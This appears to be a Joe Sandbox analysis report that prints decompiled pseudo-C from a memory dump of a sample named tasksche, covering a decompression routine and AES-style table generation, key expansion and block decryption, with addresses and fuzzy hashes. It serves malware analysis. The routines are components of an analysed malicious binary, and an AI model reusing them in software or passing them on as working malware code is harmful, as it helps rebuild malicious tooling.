								_t94 = _t93 & 0x0000fffe;
								__eflags = _t94 -  *((intOrPtr*)(_t182 + 4 + _t133 * 4));
								if(_t94 >=  *((intOrPtr*)(_t182 + 4 + _t133 * 4))) {
									_t174 = 0xf;
									_t134 = _t133 + 1;
									__eflags = _t134 - _t174;
									if(_t134 >= _t174) {
										L28:
										_t152 =  *(_t186 + 4) + _t174;
										 *(_t186 + 4) = _t152 & 0x00000007;
										_t136 = _t152 >> 3;
										 *_t186 =  *_t186 + (_t152 >> 3);
										_t154 = 0x10;
										_t97 = (_t94 -  *((intOrPtr*)(_t182 + _t174 * 4)) >> _t154 - _t174) +  *((intOrPtr*)(_t182 + 0x44 + _t174 * 4));
										__eflags = _t97 -  *_t182;
										if(_t97 >=  *_t182) {
											_t97 = 0;
											__eflags = 0;
										}
										_t98 =  *(_t182 + 0xc88 + _t97 * 2) & 0x0000ffff;
										L31:
										__eflags = _t98 - 0x10;
										if(_t98 >= 0x10) {
											__eflags = _t98 - 0x12;
											_t156 = _t186;
											if(__eflags >= 0) {
												if(__eflags != 0) {
													_t136 = (E004097D1(_t156) >> 9) + 0xb;
													__eflags = _t136;
													_push(7);
												} else {
													_t136 = (E004097D1(_t156) >> 0xd) + 3;
													_push(3);
												}
												E004097BA(_t186);
												while(1) {
													__eflags = _t136;
													if(_t136 <= 0) {
														goto L50;
													}
													_t136 = _t136 - 1;
													__eflags = _a8 - 0x1ae;
													if(_a8 >= 0x1ae) {
														goto L51;
													}
													_t71 =  &_a8;
													 *_t71 = _a8 + 1;
													__eflags =  *_t71;
													 *(_t190 + _a8 - 0x1c8) = 0;
												}
												goto L50;
											}
											__eflags = _t98 - 0x10;
											if(_t98 != 0x10) {
												_t136 = (E004097D1(_t156) >> 9) + 0xb;
												__eflags = _t136;
												_push(7);
											} else {
												_t136 = (E004097D1(_t156) >> 0xd) + 3;
												_push(3);
											}
											E004097BA(_t186);
											_t120 = _a8;
											__eflags = _t120;
											if(_t120 > 0) {
												while(1) {
													__eflags = _t136;
													if(_t136 <= 0) {
														break;
													}
													_t136 = _t136 - 1;
													__eflags = _t120 - 0x1ae;
													if(_t120 >= 0x1ae) {
														goto L51;
													}
													 *((char*)(_t190 + _t120 - 0x1c8)) =  *((intOrPtr*)(_t190 + _t120 - 0x1c9));
													_t120 = _t120 + 1;
													__eflags = _t120;
													_a8 = _t120;
												}
											}
											goto L50;
										}
										_a8 = _a8 + 1;
										 *(_t190 + _a8 - 0x1c8) = _t98;
										goto L50;
									}
									_t166 = _t182 + 4 + _t134 * 4;
									while(1) {
										__eflags = _t94 -  *_t166;
										if(_t94 <  *_t166) {
											break;
										}
										_t134 = _t134 + 1;
										_t166 = _t166 + 4;
										__eflags = _t134 - 0xf;
										if(_t134 < 0xf) {
											continue;
										}
										goto L28;
									}
									_t174 = _t134;
									goto L28;
								}
								_t167 = 0x10;
								_t122 = _t94 >> _t167 - _t133;
								_t170 = ( *(_t122 + _t182 + 0x88) & 0x000000ff) +  *(_t186 + 4);
								 *_t186 =  *_t186 + (_t170 >> 3);
								 *(_t186 + 4) = _t170 & 0x00000007;
								_t98 =  *(_t182 + 0x488 + _t122 * 2) & 0x0000ffff;
								goto L31;
							}
							_t162 = _v8;
							__eflags =  *_t186 -  *((intOrPtr*)(_t162 + 0x78)) - 5;
							if( *_t186 <=  *((intOrPtr*)(_t162 + 0x78)) - 5) {
								goto L20;
							}
							_t116 = E004123EB(_t136, _t162);
							__eflags = _t116;
							if(_t116 == 0) {
								L53:
								_t111 = 0;
								L55:
								L56:
								return _t111;
							}
							goto L20;
							L50:
							__eflags = _a8 - 0x1ae;
						} while (_a8 < 0x1ae);
						L51:
						__eflags =  *((char*)(_t186 + 8));
						_t183 = _v8;
						if(__eflags != 0) {
							L54:
							_t187 = _a12;
							E0041284B(__eflags,  &_v460, _t187, 0x132);
							E0041284B(__eflags,  &_v154, _t187 + 0xeec, 0x40);
							E0041284B(__eflags,  &_v90, _t187 + 0x1dd8, 0x10);
							__eflags = _t187 + 0x2cc4;
							E0041284B(_t187 + 0x2cc4,  &_v74, _t187 + 0x2cc4, 0x2c);
							_t111 = 1;
							goto L55;
						}
						__eflags =  *_t186 -  *((intOrPtr*)(_t183 + 0x78));
						if(__eflags <= 0) {
							goto L54;
						}
						goto L53;
					}
					__eflags =  *_t186 -  *((intOrPtr*)(__ecx + 0x78)) - 0x19;
					if( *_t186 <=  *((intOrPtr*)(__ecx + 0x78)) - 0x19) {
						goto L5;
					}
					_t111 = E004123EB(__ebx, __ecx);
					__eflags = _t111;
					if(_t111 == 0) {
						goto L56;
					}
					goto L5;
				}
				return 1;
			}

0x0041462b
0x0041463b
0x0041463e
0x00414648
0x0041464b
0x0041464f
0x00414668
0x00414668
0x00414668
0x00414668
0x0041466c
0x0041466e
0x0041467c
0x0041467f
0x00414684
0x00414687
0x004146ce
0x00000000
0x004146ce
0x00414697
0x0041469a
0x0041469f
0x004146a1
0x004146ad
0x004146c2
0x004146c2
0x004146c4
0x00000000
0x00000000
0x004146b0
0x004146b1
0x004146b5
0x00000000
0x00000000
0x004146ba
0x004146ba
0x004146ba
0x004146bd
0x004146bd
0x004146c6
0x00000000
0x004146c6
0x004146a6
0x004146d2
0x004146d2
0x004146d5
0x004146d5
0x004146e3
0x004146ee
0x004146f3
0x004146f3
0x004146f3
0x004146f7
0x004146f7
0x004146fb
0x00414717
0x00414719
0x0041471e
0x00414724
0x00414729
0x0041472d
0x0041475a
0x0041475b
0x0041475c
0x0041475e
0x00414775
0x00414778
0x0041477f
0x00414782
0x00414785
0x0041478c
0x00414791
0x00414795
0x00414797
0x00414799
0x00414799
0x00414799
0x0041479b
0x004147a3
0x004147a3
0x004147a6
0x004147ba
0x004147bd
0x004147bf
0x00414816
0x00414833
0x00414833
0x00414836
0x00414818
0x00414822
0x00414825
0x00414825
0x0041483a
0x00414859
0x00414859
0x0041485b
0x00000000
0x00000000
0x00414841
0x00414842
0x00414849
0x00000000
0x00000000
0x0041484e
0x0041484e
0x0041484e
0x00414851
0x00414851
0x00000000
0x00414859
0x004147c1
0x004147c4
0x004147e1
0x004147e1
0x004147e4
0x004147c6
0x004147d0
0x004147d3
0x004147d3
0x004147e8
0x004147ed
0x004147f0
0x004147f2
0x00414810
0x00414810
0x00414812
0x00000000
0x00000000
0x004147f6
0x004147f7
0x004147fc
0x00000000
0x00000000
0x00414805
0x0041480c
0x0041480c
0x0041480d
0x0041480d
0x00414814
0x00000000
0x004147f2
0x004147ab
0x004147ae
0x00000000
0x004147ae
0x00414760
0x00414764
0x00414764
0x00414766
0x00000000
0x00000000
0x00414768
0x00414769
0x0041476c
0x0041476f
0x00000000
0x00000000
0x00000000
0x00414771
0x00414773
0x00000000
0x00414773
0x00414731
0x00414734
0x0041473e
0x00414746
0x0041474b
0x0041474e
0x00000000
0x0041474e
0x004146fd
0x00414706
0x00414708
0x00000000
0x00000000
0x0041470a
0x0041470f
0x00414711
0x0041487a
0x0041487a
0x004148d6
0x004148d8
0x00000000
0x004148d8
0x00000000
0x0041485d
0x0041485d
0x0041485d
0x0041486a
0x0041486a
0x0041486e
0x00414871
0x0041487e
0x0041487e
0x00414890
0x004148a7
0x004148bb
0x004148c2
0x004148cf
0x004148d4
0x00000000
0x004148d4
0x00414875
0x00414878
0x00000000
0x00000000
0x00000000
0x00414878
0x00414657
0x00414659
0x00000000
0x00000000
0x0041465b
0x00414660
0x00414662
0x00000000
0x00000000
0x00000000
0x00414662
0x00000000

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74c5e34f9abefec6387e3142de93532e06a17bc948433487153fd85e66a9dea7
Instruction ID: 3d3811311c0e96151038b15cdb33c9c3baef1538c920ea216c41a1bce0e780a6
Opcode Fuzzy Hash: 74c5e34f9abefec6387e3142de93532e06a17bc948433487153fd85e66a9dea7
Instruction Fuzzy Hash: DC812731600644ABDB14EF29C590BFD73A5EB92318F20842FE9569B2C2C77CD9C2CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040CB23 Relevance: .2, Instructions: 231
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040CB23(void* __ebx, char* __ecx, char _a4, unsigned int _a8, signed int* _a12) {
				intOrPtr _v8;
				signed int _v9;
				signed int _v10;
				signed int _v11;
				signed int _v12;
				signed int _v13;
				signed int _v14;
				signed int _v15;
				signed int _v16;
				signed int _v17;
				signed int _v18;
				signed int _v19;
				signed int _v20;
				signed int _v21;
				signed int _v22;
				signed int _v23;
				signed int _v24;
				char _v25;
				char _v26;
				char _v27;
				signed int _v28;
				char _v29;
				char _v30;
				char _v31;
				signed int _v32;
				char _v33;
				char _v34;
				char _v35;
				signed int _v36;
				char _v37;
				char _v38;
				char _v39;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				void* __edi;
				void* __esi;
				unsigned int _t204;
				signed int _t236;
				void* _t311;
				signed int* _t312;
				unsigned int _t342;
				intOrPtr* _t344;
				char* _t346;

				_t311 = __ebx;
				_t204 = _a8;
				_t346 = __ecx;
				if(_t204 > 0) {
					_t342 = _t204 >> 4;
					if( *__ecx == 0) {
						_v8 = __ecx + 8;
						E0041C290(__ebx, _t342, __ecx,  &_v56, __ecx + 8, 0x10);
						_a8 = _t342;
						if(_t342 > 0) {
							_t344 = _a4;
							_push(_t311);
							_t312 = _a12;
							do {
								E0040C43B( &_v24, _t344, ( *(_t346 + 4) << 4) + _t346 + 0x18);
								_v40 =  *(0x4371e0 + (_v24 & 0x000000ff) * 4) ^  *(0x436de0 + (_v11 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v14 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v17 & 0x000000ff) * 4);
								_v36 =  *(0x4371e0 + (_v20 & 0x000000ff) * 4) ^  *(0x436de0 + (_v23 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v10 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v13 & 0x000000ff) * 4);
								_v32 =  *(0x4371e0 + (_v16 & 0x000000ff) * 4) ^  *(0x436de0 + (_v19 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v22 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v9 & 0x000000ff) * 4);
								_v28 =  *(0x4371e0 + (_v12 & 0x000000ff) * 4) ^  *(0x436de0 + (_v15 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v18 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v21 & 0x000000ff) * 4);
								_t236 =  *(_t346 + 4) - 1;
								if(_t236 > 1) {
									_a12 = (_t236 << 4) + _t346 + 0x18;
									_a4 = _t236 - 1;
									do {
										E0040C43B( &_v24,  &_v40, _a12);
										_v40 =  *(0x4371e0 + (_v24 & 0x000000ff) * 4) ^  *(0x436de0 + (_v11 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v14 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v17 & 0x000000ff) * 4);
										_v36 =  *(0x4371e0 + (_v20 & 0x000000ff) * 4) ^  *(0x436de0 + (_v23 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v10 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v13 & 0x000000ff) * 4);
										_a12 = _a12 - 0x10;
										_v32 =  *(0x4371e0 + (_v16 & 0x000000ff) * 4) ^  *(0x436de0 + (_v19 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v22 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v9 & 0x000000ff) * 4);
										_t127 =  &_a4;
										 *_t127 = _a4 - 1;
										_v28 =  *(0x4371e0 + (_v12 & 0x000000ff) * 4) ^  *(0x436de0 + (_v15 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v18 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v21 & 0x000000ff) * 4);
									} while ( *_t127 != 0);
								}
								E0040C43B( &_v24,  &_v40, _t346 + 0x28);
								_v40 =  *((intOrPtr*)((_v24 & 0x000000ff) + 0x438600));
								_v39 =  *((intOrPtr*)((_v11 & 0x000000ff) + 0x438600));
								_v38 =  *((intOrPtr*)((_v14 & 0x000000ff) + 0x438600));
								_v37 =  *((intOrPtr*)((_v17 & 0x000000ff) + 0x438600));
								_v36 =  *((intOrPtr*)((_v20 & 0x000000ff) + 0x438600));
								_v35 =  *((intOrPtr*)((_v23 & 0x000000ff) + 0x438600));
								_v34 =  *((intOrPtr*)((_v10 & 0x000000ff) + 0x438600));
								_v33 =  *((intOrPtr*)((_v13 & 0x000000ff) + 0x438600));
								_v32 =  *((intOrPtr*)((_v16 & 0x000000ff) + 0x438600));
								_v31 =  *((intOrPtr*)((_v19 & 0x000000ff) + 0x438600));
								_v30 =  *((intOrPtr*)((_v22 & 0x000000ff) + 0x438600));
								_v29 =  *((intOrPtr*)((_v9 & 0x000000ff) + 0x438600));
								_v28 =  *((intOrPtr*)((_v12 & 0x000000ff) + 0x438600));
								_v27 =  *((intOrPtr*)((_v15 & 0x000000ff) + 0x438600));
								_v26 =  *((intOrPtr*)((_v18 & 0x000000ff) + 0x438600));
								_v25 =  *((intOrPtr*)((_v21 & 0x000000ff) + 0x438600));
								E0040C43B( &_v40,  &_v40, _t346 + 0x18);
								if( *((char*)(_t346 + 1)) != 0) {
									E0040C43B( &_v40,  &_v40,  &_v56);
								}
								_v56 =  *_t344;
								_v52 =  *((intOrPtr*)(_t344 + 4));
								_v48 =  *((intOrPtr*)(_t344 + 8));
								_v44 =  *((intOrPtr*)(_t344 + 0xc));
								 *_t312 = _v40;
								_t312[1] = _v36;
								_t312[2] = _v32;
								_t312[3] = _v28;
								_t344 = _t344 + 0x10;
								_t312 =  &(_t312[4]);
								_t200 =  &_a8;
								 *_t200 = _a8 - 1;
							} while ( *_t200 != 0);
							_pop(_t311);
						}
						_t204 = E0041C290(_t311, _t342, _t346, _v8,  &_v56, 0x10);
					} else {
						_t204 = E0040C46D(__ecx, _a4, _t342, _a12);
					}
				}
				return _t204;
			}

0x0040cb23
0x0040cb26
0x0040cb2d
0x0040cb31
0x0040cb3e
0x0040cb40
0x0040cb59
0x0040cb60
0x0040cb68
0x0040cb6d
0x0040cb73
0x0040cb76
0x0040cb77
0x0040cb7a
0x0040cb8a
0x0040cbbf
0x0040cbee
0x0040cc1d
0x0040cc48
0x0040cc4e
0x0040cc52
0x0040cc62
0x0040cc65
0x0040cc68
0x0040cc73
0x0040cca8
0x0040ccd7
0x0040cd06
0x0040cd0a
0x0040cd35
0x0040cd35
0x0040cd38
0x0040cd38
0x0040cc68
0x0040cd4d
0x0040cd5c
0x0040cd69
0x0040cd76
0x0040cd83
0x0040cd90
0x0040cd9d
0x0040cdaa
0x0040cdb7
0x0040cdc4
0x0040cdd1
0x0040cdde
0x0040cdeb
0x0040cdf8
0x0040ce05
0x0040ce12
0x0040ce1f
0x0040ce2b
0x0040ce34
0x0040ce3f
0x0040ce3f
0x0040ce46
0x0040ce4c
0x0040ce52
0x0040ce58
0x0040ce5e
0x0040ce63
0x0040ce69
0x0040ce6f
0x0040ce72
0x0040ce75
0x0040ce78
0x0040ce78
0x0040ce78
0x0040ce81
0x0040ce81
0x0040ce8b
0x0040cb42
0x0040cb49
0x0040cb49
0x0040ce93
0x0040ce96

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10288e97197f0ad943ca35c4742294250ec2590f5ea2a5543df369fbf88b7a0a
Instruction ID: 755fc568a246bd0a3aab6df15388740ae6706893d1001b075bd9344283f82762
Opcode Fuzzy Hash: 10288e97197f0ad943ca35c4742294250ec2590f5ea2a5543df369fbf88b7a0a
Instruction Fuzzy Hash: FFC151B48182D9AECF01DFA5D4A09FEBFF4AF1A240B0950DAE5D5A7252C234D720DB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040C756 Relevance: .2, Instructions: 195
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0040C756() {
				signed char _v8;
				char _v521;
				signed int _t98;
				signed int _t100;
				signed int _t102;
				signed char _t105;
				signed char _t106;
				char _t107;
				void* _t108;
				signed char _t119;
				signed int _t120;
				signed int _t129;
				signed char* _t155;
				signed int _t156;
				signed int _t161;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				signed int _t181;
				signed int _t182;
				void* _t183;

				_t107 = 0;
				_t98 = 1;
				do {
					 *(_t183 + _t107 - 0x304) = _t98;
					 *(_t183 + _t107 - 0x205) = _t98;
					 *((char*)(_t183 + _t98 - 0x104)) = _t107;
					_t107 = _t107 + 1;
					asm("sbb edx, edx");
					_t98 = _t98 ^  ~(_t98 & 0x00000080) & 0x0000011b ^ _t98 + _t98;
				} while (_t98 != 1);
				_t108 = 0;
				do {
					asm("sbb edx, edx");
					 *(_t108 + 0x4385e0) = _t98;
					_t98 = _t98 + _t98 ^  ~(_t98 & 0x00000080) & 0x0000011b;
					_t108 = _t108 + 1;
				} while (_t108 < 0x1e);
				_t105 = 0;
				_v8 = 0;
				L6:
				L6:
				if(_t105 == 0) {
					_t100 = 0;
				} else {
					_t100 =  *( &_v521 - ( *(_t183 + (_t105 & 0x000000ff) - 0x104) & 0x000000ff)) & 0x000000ff;
				}
				_t119 = (_t100 ^ (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100) + (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100)) >> 0x00000008 ^ _t100 ^ (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100) + (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100) ^ 0x00000063;
				_t102 = _t105 * 4;
				_t16 = _t102 + 0x4375e0; // 0x4375e0
				_t155 = _t16;
				 *(_t105 + 0x438700) = _t119;
				_t155[1] = _t119;
				 *_t155 = _t119;
				 *(_t102 + 0x4379e3) = _t119;
				 *(_t102 + 0x4379e0) = _t119;
				 *(_t102 + 0x437de3) = _t119;
				 *(_t102 + 0x437de2) = _t119;
				 *(_t102 + 0x4381e2) = _t119;
				 *(_t102 + 0x4381e1) = _t119;
				if(_t119 == 0) {
					_t156 = 0;
				} else {
					_t156 =  *(_t183 + ( *(_t183 + (_t119 & 0x000000ff) - 0x104) & 0x000000ff) - 0x2eb) & 0x000000ff;
				}
				 *(_t102 + 0x4375e3) = _t156;
				 *(_t102 + 0x4379e2) = _t156;
				 *(_t102 + 0x437de1) = _t156;
				 *(_t102 + 0x4381e0) = _t156;
				if(_t119 == 0) {
					_t120 = 0;
				} else {
					_t120 =  *(_t183 + ( *(_t183 + (_t119 & 0x000000ff) - 0x104) & 0x000000ff) - 0x303) & 0x000000ff;
				}
				 *(_t102 + 0x4375e2) = _t120;
				 *(_t102 + 0x4379e1) = _t120;
				 *(_t102 + 0x437de0) = _t120;
				 *(_t102 + 0x4381e3) = _t120;
				_t181 = _t105 & 0x000000ff;
				if((((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) >> 0x00000008 ^ ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) ^ 0x00000005) == 0) {
					_t106 = 0;
				} else {
					_t106 =  *((intOrPtr*)( &_v521 - ( *(_t183 + (((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) >> 0x00000008 & 0x000000ff ^ ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) & 0x000000ff ^ 0x00000005) - 0x104) & 0x000000ff)));
				}
				 *(_v8 + 0x438600) = _t106;
				if(_t106 == 0) {
					_t161 = 0;
				} else {
					_t161 =  *(_t183 + ( *(_t183 + (_t106 & 0x000000ff) - 0x104) & 0x000000ff) - 0x29c) & 0x000000ff;
				}
				_t182 = _t106 & 0x000000ff;
				_t129 = _t182 << 2;
				 *(_t102 + 0x4365e2) = _t161;
				 *(_t102 + 0x4369e1) = _t161;
				 *(_t102 + 0x436de0) = _t161;
				 *(_t102 + 0x4371e3) = _t161;
				 *(_t129 + 0x4355e2) = _t161;
				 *(_t129 + 0x4359e1) = _t161;
				 *(_t129 + 0x435de0) = _t161;
				 *(_t129 + 0x4361e3) = _t161;
				if(_t106 == 0) {
					_t162 = 0;
				} else {
					_t162 =  *(_t183 + ( *(_t183 + _t182 - 0x104) & 0x000000ff) - 0x23d) & 0x000000ff;
				}
				 *(_t102 + 0x4365e0) = _t162;
				 *(_t102 + 0x4369e3) = _t162;
				 *(_t102 + 0x436de2) = _t162;
				 *(_t102 + 0x4371e1) = _t162;
				 *(_t129 + 0x4355e0) = _t162;
				 *(_t129 + 0x4359e3) = _t162;
				 *(_t129 + 0x435de2) = _t162;
				 *(_t129 + 0x4361e1) = _t162;
				if(_t106 == 0) {
					_t163 = 0;
				} else {
					_t163 =  *(_t183 + ( *(_t183 + _t182 - 0x104) & 0x000000ff) - 0x216) & 0x000000ff;
				}
				 *(_t102 + 0x4365e1) = _t163;
				 *(_t102 + 0x4369e0) = _t163;
				 *(_t102 + 0x436de3) = _t163;
				 *(_t102 + 0x4371e2) = _t163;
				 *(_t129 + 0x4355e1) = _t163;
				 *(_t129 + 0x4359e0) = _t163;
				 *(_t129 + 0x435de3) = _t163;
				 *(_t129 + 0x4361e2) = _t163;
				if(_t106 == 0) {
					_t164 = 0;
				} else {
					_t164 =  *(_t183 + ( *(_t183 + _t182 - 0x104) & 0x000000ff) - 0x225) & 0x000000ff;
				}
				_v8 = _v8 + 1;
				 *(_t102 + 0x4365e3) = _t164;
				 *(_t102 + 0x4369e2) = _t164;
				 *(_t102 + 0x436de1) = _t164;
				 *(_t102 + 0x4371e0) = _t164;
				 *(_t129 + 0x4355e3) = _t164;
				 *(_t129 + 0x4359e2) = _t164;
				 *(_t129 + 0x435de1) = _t164;
				 *(_t129 + 0x4361e0) = _t164;
				if(_v8 < 0x100) {
					goto L5;
				}
				return _t102;
				L5:
				_t105 = _v8;
				goto L6;
			}

0x0040c763
0x0040c765
0x0040c76c
0x0040c774
0x0040c77b
0x0040c782
0x0040c789
0x0040c78c
0x0040c795
0x0040c797
0x0040c79c
0x0040c79f
0x0040c7a9
0x0040c7ab
0x0040c7b5
0x0040c7b7
0x0040c7b8
0x0040c7bd
0x0040c7bf
0x00000000
0x0040c7c7
0x0040c7c9
0x0040c7e3
0x0040c7cb
0x0040c7de
0x0040c7de
0x0040c7fd
0x0040c800
0x0040c807
0x0040c807
0x0040c80d
0x0040c813
0x0040c816
0x0040c818
0x0040c81e
0x0040c824
0x0040c82a
0x0040c830
0x0040c836
0x0040c83c
0x0040c853
0x0040c83e
0x0040c849
0x0040c849
0x0040c855
0x0040c85b
0x0040c861
0x0040c867
0x0040c86f
0x0040c886
0x0040c871
0x0040c87c
0x0040c87c
0x0040c888
0x0040c88e
0x0040c894
0x0040c89a
0x0040c8a0
0x0040c8bb
0x0040c8ef
0x0040c8bd
0x0040c8eb
0x0040c8eb
0x0040c8f4
0x0040c8fc
0x0040c913
0x0040c8fe
0x0040c909
0x0040c909
0x0040c915
0x0040c91a
0x0040c91d
0x0040c923
0x0040c929
0x0040c92f
0x0040c935
0x0040c93b
0x0040c941
0x0040c947
0x0040c94f
0x0040c963
0x0040c951
0x0040c959
0x0040c959
0x0040c965
0x0040c96b
0x0040c971
0x0040c977
0x0040c97d
0x0040c983
0x0040c989
0x0040c98f
0x0040c997
0x0040c9ab
0x0040c999
0x0040c9a1
0x0040c9a1
0x0040c9ad
0x0040c9b3
0x0040c9b9
0x0040c9bf
0x0040c9c5
0x0040c9cb
0x0040c9d1
0x0040c9d7
0x0040c9df
0x0040c9f3
0x0040c9e1
0x0040c9e9
0x0040c9e9
0x0040c9f5
0x0040c9ff
0x0040ca05
0x0040ca0b
0x0040ca11
0x0040ca17
0x0040ca1d
0x0040ca23
0x0040ca29
0x0040ca2f
0x00000000
0x00000000
0x0040ca38
0x0040c7c4
0x0040c7c4
0x00000000

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e054519032d673b283cd141de9047936413c4ec94c95275afdf7b1c1e6e7c11b
Instruction ID: cc05d4957c3f93bbff5645bcbd2bf23a73745bdaee5f26767fd414b38deba9ac
Opcode Fuzzy Hash: e054519032d673b283cd141de9047936413c4ec94c95275afdf7b1c1e6e7c11b
Instruction Fuzzy Hash: 7281E35220E2E18EE71AC73C14E96F63FA11F72100B2EA2EEC4CD4F6D7D665051AD729

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4FF Relevance: .2, Instructions: 166
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0040C4FF(intOrPtr __ecx, void* __eflags, signed int _a4) {
				intOrPtr _v8;
				signed int* _v12;
				signed char* _v16;
				signed char* _v20;
				signed char* _v24;
				signed char* _v28;
				char _v40;
				signed int _v41;
				signed int _v42;
				signed int _v43;
				signed int _v44;
				signed char _v45;
				signed char _v46;
				signed char _v47;
				signed char _v48;
				char _v56;
				signed int _v57;
				signed int _v58;
				signed int _v59;
				signed int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t102;
				signed int _t104;
				signed char _t108;
				signed int _t119;
				signed int* _t135;
				signed int* _t136;
				signed int _t137;
				char* _t138;
				void* _t139;
				void* _t140;
				intOrPtr _t141;
				void* _t142;
				void* _t143;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t149;
				void* _t151;
				void* _t157;

				_t141 = __ecx;
				_v8 = __ecx;
				_t119 =  *((intOrPtr*)(__ecx + 4)) - 6;
				E0041C290(_t119, __ecx, _t147,  &_v60, _a4, 0x20);
				_t102 = 0;
				_t140 = 0;
				_a4 = 0;
				if(_t119 <= 0) {
					L9:
					if(_t140 <=  *((intOrPtr*)(_t141 + 4))) {
						_t104 = _t119 << 2;
						_v16 = _t157 + _t104 - 0x3b;
						_v20 = _t157 + _t104 - 0x3a;
						_v24 = _t157 + _t104 - 0x39;
						_v28 = _t157 + _t104 - 0x3c;
						_v12 = 0x4385e0;
						do {
							_t108 = _v60 ^  *(( *_v16 & 0x000000ff) + 0x438700);
							_v60 = _t108;
							_v59 = _v59 ^  *(( *_v20 & 0x000000ff) + 0x438700);
							_v58 = _v58 ^  *(( *_v24 & 0x000000ff) + 0x438700);
							_v57 = _v57 ^  *(( *_v28 & 0x000000ff) + 0x438700);
							_t102 = _t108 ^  *_v12;
							_v12 =  &(_v12[0]);
							_v60 = _t102;
							if(_t119 == 8) {
								_t135 =  &_v56;
								_t142 = 3;
								do {
									_t148 = 4;
									do {
										 *_t135 =  *_t135 ^  *(_t135 - 4);
										_t135 =  &(_t135[0]);
										_t148 = _t148 - 1;
									} while (_t148 != 0);
									_t142 = _t142 - 1;
								} while (_t142 != 0);
								_v44 = _v44 ^  *((_v48 & 0x000000ff) + 0x438700);
								_v43 = _v43 ^  *((_v47 & 0x000000ff) + 0x438700);
								_v42 = _v42 ^  *((_v46 & 0x000000ff) + 0x438700);
								_v41 = _v41 ^  *((_v45 & 0x000000ff) + 0x438700);
								_t136 =  &_v40;
								_t143 = 3;
								do {
									_t149 = 4;
									do {
										_t102 =  *((intOrPtr*)(_t136 - 4));
										 *_t136 =  *_t136 ^ _t102;
										_t136 =  &(_t136[0]);
										_t149 = _t149 - 1;
									} while (_t149 != 0);
									_t143 = _t143 - 1;
								} while (_t143 != 0);
								goto L26;
							} else {
								if(_t119 > 1) {
									_t138 =  &_v56;
									_t145 = _t119 - 1;
									do {
										_t151 = 0;
										do {
											_t102 =  *((intOrPtr*)(_t138 + _t151 - 4));
											 *(_t138 + _t151) =  *(_t138 + _t151) ^ _t102;
											_t151 = _t151 + 1;
										} while (_t151 < 4);
										_t138 = _t138 + 4;
										_t145 = _t145 - 1;
									} while (_t145 != 0);
									L26:
									_t141 = _v8;
								}
							}
							_t137 = 0;
							if(_t119 <= 0) {
								goto L36;
							} else {
								while(_t140 <=  *((intOrPtr*)(_t141 + 4))) {
									if(_t137 < _t119) {
										_t102 = _t157 + _t137 * 4 - 0x38;
										while(_a4 < 4) {
											_t137 = _t137 + 1;
											_t102 = _t102 + 4;
											_a4 = _a4 + 1;
											asm("movsd");
											_t141 = _v8;
											if(_t137 < _t119) {
												continue;
											}
											goto L33;
										}
									}
									L33:
